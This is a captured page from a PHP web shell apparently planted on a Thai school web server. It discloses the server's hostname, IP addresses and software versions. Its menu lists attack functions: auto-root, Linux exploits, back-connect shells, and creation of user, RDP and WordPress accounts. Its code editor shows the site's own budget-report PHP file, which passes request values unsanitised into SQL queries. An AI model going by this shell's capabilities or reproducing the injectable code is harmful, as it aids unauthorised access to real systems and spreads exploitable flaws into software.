Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
plan /
check /
[ HOME SHELL ]
Name
Size
Permission
Action
building.php
3.6
KB
-rwxr-xr-x
check_1.php
7.23
KB
-rwxr-xr-x
check_1.php-1
6.67
KB
-rwxr-xr-x
check_1_mobile.php
6.63
KB
-rwxr-xr-x
check_2.php
8.8
KB
-rwxr-xr-x
check_3.php
12.64
KB
-rwxr-xr-x
livesearch.php
624
B
-rwxr-xr-x
receive_report.php
12.17
KB
-rwxr-xr-x
report_10.php
11.78
KB
-rwxr-xr-x
report_11.php
6.8
KB
-rwxr-xr-x
report_12.php
17.67
KB
-rwxr-xr-x
report_13.php
8.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : check_3.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); if(!($_SESSION['login_status']<=15)){ exit(); } //วันนี้ $th_month['01']="มกราคม"; $th_month['02']="กุมภาพันธ์"; $th_month['03']="มีนาคม"; $th_month['04']="เมษายน"; $th_month['05']="พฤษภาคม"; $th_month['06']="มิถุนายน"; $th_month['07']="กรกฎาคม"; $th_month['08']="สิงหาคม"; $th_month['09']="กันยายน"; $th_month['10']="ตุลาคม"; $th_month['11']="พฤศจิกายน"; $th_month['12']="ธันวาคม"; list($now_year,$now_month,$now_day) = explode("-",date("Y-m-d")); $now_year=$now_year+543; $today="วันที่ $now_day เดือน$th_month[$now_month] พ.ศ.$now_year"; if(!(isset($_REQUEST['year_index']))){ $_REQUEST['year_index']=""; } if(!(isset($_REQUEST['workgroup']))){ $_REQUEST['workgroup']=""; } //ปีงบประมาณ $year_active_result['budget_year']=$_SESSION["budget_year"]; //กรณีเลือกปี $year_index=$_REQUEST['year_index']; if($year_index!=""){ $year_active_result['budget_year']=$year_index; } $workgroup=$_REQUEST['workgroup']; //ส่วนหัว echo "<br>"; echo "<table width='100%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>ปิด เปิด กิจกรรมของโครงการ ปีงบประมาณ$year_active_result[budget_year]</strong></font></td></tr>"; echo "<tr align='center'><td><font color='#006666' size='3'>$today</font></td></tr>"; echo "</table>"; if($index==4){ if($_POST['workgroup']==""){ $sql="SELECT id,code_acti,stop FROM plan_acti where budget_year='$_SESSION[budget_year]' "; } else{ $sql="SELECT id,code_acti,stop FROM plan_acti where budget_year='$_SESSION[budget_year]' and code_clus='$_POST[workgroup]' "; } $dbquery = mysqli_query($connect,$sql); while ($result = mysqli_fetch_array($dbquery)){ $sql_update = "update plan_acti set stop='0' where id='$result[id]' "; $dbquery_update = mysqli_query($connect,$sql_update); if(isset($_POST['stop'])){ for($i=0;$i<count($_POST['stop']);$i++){ if($result['code_acti']==$_POST['stop'][$i]){ $sql_update = "update plan_acti set stop='1' where id='$result[id]' "; $dbquery_update = mysqli_query($connect,$sql_update); } } } } echo "<script>alert('ปรับปรุงข้อมูลแล้ว');</script>\n"; } if($workgroup!=""){ $sql = "select * from plan_proj where budget_year='$year_active_result[budget_year]' and code_clus='$workgroup' order by code_proj "; } else{ $sql = "select * from plan_proj where budget_year='$year_active_result[budget_year]' order by code_proj "; } $dbquery = mysqli_query($connect,$sql); $rd=1; While ($result = mysqli_fetch_array($dbquery)){ $code_proj_plan= $result['code_proj']; $name_proj_plan= $result['name_proj']; $budget_proj_plan= $result['budget_proj']; $code_proj_plan_ar[$rd]=$code_proj_plan; $name_proj_plan_ar[$rd]=$name_proj_plan; $budget_proj_plan_ar[$rd]=$budget_proj_plan; $rd++; } $sql = "select * from plan_acti where budget_year='$year_active_result[budget_year]'"; $dbquery = mysqli_query($connect,$sql); $re=1; While ($result = mysqli_fetch_array($dbquery)){ $code_proj_acti= $result['code_proj']; $code_acti= $result['code_acti']; $name_acti= $result['name_acti']; $budget_acti= $result['budget_acti']; $stop= $result['stop']; if($stop==1){ $stop="checked"; }else{ $stop=""; } $code_proj_acti_ar[$re]=$code_proj_acti; $code_acti_ar[$re]=$code_acti; $name_acti_ar[$re]=$name_acti; $budget_acti_ar[$re]=$budget_acti; $stop_ar[$re]=$stop; $re++; } $sql = "select distinct pj_activity from budget_money_return where budget_year='$year_active_result[budget_year]'"; $dbquery = mysqli_query($connect,$sql); $rf=1; While ($result = mysqli_fetch_array($dbquery)){ $return_pj_activity= $result['pj_activity']; $return_pj_activity_ar[$rf]=$return_pj_activity; $rf++; } // loop โครงการ for($i=1;$i<$rd;$i++){ $proj_sum=0; $return_proj_sum=0; //loop กิจกรรม for($x=1;$x<$re;$x++){ $acti_sum=0; // ตัวแปรเิงินเบิกกิจกรรม $return_sum=0; // ตัวแปรเงินคืนกิจกรรม if($code_proj_plan_ar[$i]==$code_proj_acti_ar[$x]){ // รายจ่ายในกิจกรรม $sql_acti = "select sum(money) as money from budget_withdraw where budget_year='$year_active_result[budget_year]' and pj_activity='$code_acti_ar[$x]' "; $dbquery_acti = mysqli_query($connect,$sql_acti); $result_acti = mysqli_fetch_array($dbquery_acti); $acti_sum_ar[$x]=$result_acti['money']; //รายจ่ายในกิจกรรม $proj_sum=$proj_sum+ $acti_sum_ar[$x]; // รวมจ่ายในโครงการ for($z=1;$z<$rf;$z++){ if($code_acti_ar[$x]==$return_pj_activity_ar[$z]){ // คืนเงินกิจกรรม $sql_return = "select sum(money) as money from budget_money_return where budget_year='$year_active_result[budget_year]' and pj_activity='$code_acti_ar[$x]'"; $dbquery_return = mysqli_query($connect,$sql_return); $result_return = mysqli_fetch_array($dbquery_return); $return_sum_ar[$x]=$result_return['money']; //เง้นคืนกิจกรรม $return_proj_sum=$return_proj_sum+$return_sum_ar[$x]; //เงินคืนในโครงการ } } } //จ่ายในแต่ละกิจกรรมเมื่อรวมเงินคืนโครงการแล้ว if(!(isset($return_sum_ar[$x]))){ $return_sum_ar[$x]=0; } if(isset($acti_sum_ar[$x])){ $acti_pay_ar[$x]=$acti_sum_ar[$x]-$return_sum_ar[$x]; } else{ $acti_pay_ar[$x]=0; } } $proj_sum_ar[$i]=$proj_sum; //เงินจ่ายโครงการ $return_proj_sum_ar[$i]=$return_proj_sum; //เงินคืนโครงการ $true_withdraw[$i]=$proj_sum_ar[$i]-$return_proj_sum_ar[$i]; //รายจ่ายสุทธิโครงการ if(!(isset($total_withdraw))){ $total_withdraw=0; } $total_withdraw=$total_withdraw+$true_withdraw[$i]; } $space=" "; ////////////////// เลือกปีงบประมาณ echo "<form name='frm1'>"; echo "<table width='95%' align='center'><tr><td align='right'>"; echo " <Select name='workgroup' size='1'>"; echo '<option value ="" >ทุกกลุ่ม(งาน)</option>' ; $sql = "SELECT * FROM system_workgroup"; $dbquery = mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)) { if ($workgroup==$result[workgroup]){ echo "<option value=$result[workgroup] selected>$result[workgroup_desc]</option>"; } else{ echo "<option value=$result[workgroup]>$result[workgroup_desc]</option>"; } } echo "</select>"; echo " <INPUT TYPE='button' name='smb' value='เลือก' onclick='goto_url(1)' class=entrybutton>"; echo "</td></tr></table>"; ///////////////////// $_continue_acti=0; $_stop_acti=0; echo "<table width='98%' border='0' align='center'>"; echo "<Tr bgcolor='#FFCCCC' align='center'><Td>ที่</Td><Td>รหัส</Td><Td>โครงการ</Td><Td>กิจกรรม</Td><Td>งบประมาณ</Td><Td>ใช้จ่าย</Td><Td>คงเหลือ</Td><Td>%จ่าย</Td></Tr>"; //กำหนดตัวแปร if(!(isset($sum_momey_proj))){ $sum_momey_proj=0; } if(!(isset($total_withdraw))){ $total_withdraw=0; } if(!(isset($total_net))){ $total_net=0; } for($i=1;$i<$rd;$i++) { $sum_momey_proj=$sum_momey_proj+$budget_proj_plan_ar[$i]; //รวมยอดเงินทุกโครงการ $budget_project=number_format($budget_proj_plan_ar[$i],2); //เงินแต่ละโครงการ if($budget_proj_plan_ar[$i]>0) { $proj_percent=($true_withdraw[$i]/$budget_proj_plan_ar[$i])*100; $proj_percent=number_format($proj_percent,2); } else $proj_percent="0.00"; $proj_sum=number_format($true_withdraw[$i],2); $net_proj=$budget_proj_plan_ar[$i]-$true_withdraw[$i]; $net_proj2=number_format($net_proj,2); $total_net=$total_net+$net_proj; //เิงินเหลือทั้งหมดทุกโครงการ echo "<Tr bgcolor='#FFFFC''><Td align='center'>$i</Td><Td align='center'><font>$code_proj_plan_ar[$i]</font></Td><Td colspan='2'>$name_proj_plan_ar[$i]</Td><Td align='right'><font color='#FF0033'>$budget_project</font></Td><Td align='right'><font color='#FF0033'>$proj_sum</font></Td><Td align='right'><font color='#FF0033'>$net_proj2</font></Td><Td align='right'><font color='#FF0033'>$proj_percent</font></Td></Tr>"; $acti_num=0; for($x=1;$x<$re;$x++) { if($code_proj_plan_ar[$i]==$code_proj_acti_ar[$x]) { $acti_num=$acti_num+1; $budget_acti=number_format($budget_acti_ar[$x],2); $acti_sum=number_format($acti_pay_ar[$x],2); $net_acti=$budget_acti_ar[$x]-$acti_pay_ar[$x]; if($stop_ar[$x]=='checked'){ $_stop_acti=$_stop_acti+$net_acti; } else{ $_continue_acti=$_continue_acti+$net_acti; } $net_acti2=number_format($net_acti,2); if($stop_ar[$x]!=""){ $color='#00FF00'; } else{ $color='#0000FF'; } if($budget_acti_ar[$x]>0) { $acti_percent=($acti_pay_ar[$x]/$budget_acti_ar[$x])*100; $acti_percent=number_format($acti_percent,2); } else $acti_percent="0.00"; echo "<Tr><Td ></Td><Td></Td><Td></Td><Td align='left'><input type='checkbox' name='stop[]' value='$code_acti_ar[$x]' $stop_ar[$x]><font color=$color>$code_acti_ar[$x]</font>"; echo "$space$name_acti_ar[$x]</Td><Td align=right><font color=$color>$budget_acti</font></Td><Td align=right><font color=$color>$acti_sum</font></Td><Td align='right'><font color=$color>$net_acti2</font></Td><Td align=right><font color=$color>$acti_percent</font></Td>"; echo "</Tr>"; } } } if($sum_momey_proj>0) { $spt_percent=($total_withdraw/$sum_momey_proj)*100; $spt_percent=number_format($spt_percent,2); } else $spt_percent="0.00"; $sum_momey_proj=number_format($sum_momey_proj,2); $total_withdraw=number_format($total_withdraw,2); $total_net=number_format($total_net,2); echo "<Tr bgcolor='#FFCCCC' align='center'><Td></Td><Td></Td><Td></Td><Td>รวม</Td><Td>$sum_momey_proj</Td><Td>$total_withdraw</Td><Td>$total_net</Td><Td>$spt_percent</Td></Tr>"; $_continue_acti=number_format($_continue_acti,2); $_stop_acti=number_format($_stop_acti,2); echo "<Tr align='center'><Td></Td><Td></Td><Td></Td><Td></Td><Td colspan='2' align='right'><font color='#0000FF'>กิจกรรมที่ยังดำเนินการต่อ</font></Td><Td align='center'><font color='#0000FF'>$_continue_acti</font></Td><Td></Td></Tr>"; echo "<Tr align='center'><Td></Td><Td></Td><Td></Td><Td></Td><Td colspan='2' align='right'><font color='#00FF00'>กิจกรรมที่หยุด</font></Td><Td align='center'><font color='#00FF00'>$_stop_acti</font></Td><Td></Td></Tr>"; echo "</Table>"; echo "<table width='98%' border='0' align='center'>"; echo "<Tr >"; echo "<Td align='left'><input type='checkbox' name='allchk' id='allchk' onclick='CheckAll()'>เลือก/ไม่เลือก กิจกรรมทั้งหมด</Td>"; echo "</Tr></table>"; echo "<div align='center'><INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_update(1)'></div>"; echo "</form>"; ?> <script> function goto_url(val){ callfrm("?option=plan&task=check/check_3"); } function goto_update(val){ callfrm("?option=plan&task=check/check_3&index=4"); //page ประมวลผล } function CheckAll() { for (var i = 0; i < document.frm1.elements.length; i++) { var e = document.frm1.elements[i]; if (e.name != "allchk") //if(e.value==1){ e.checked = document.frm1.allchk.checked; // } } } </script>
Close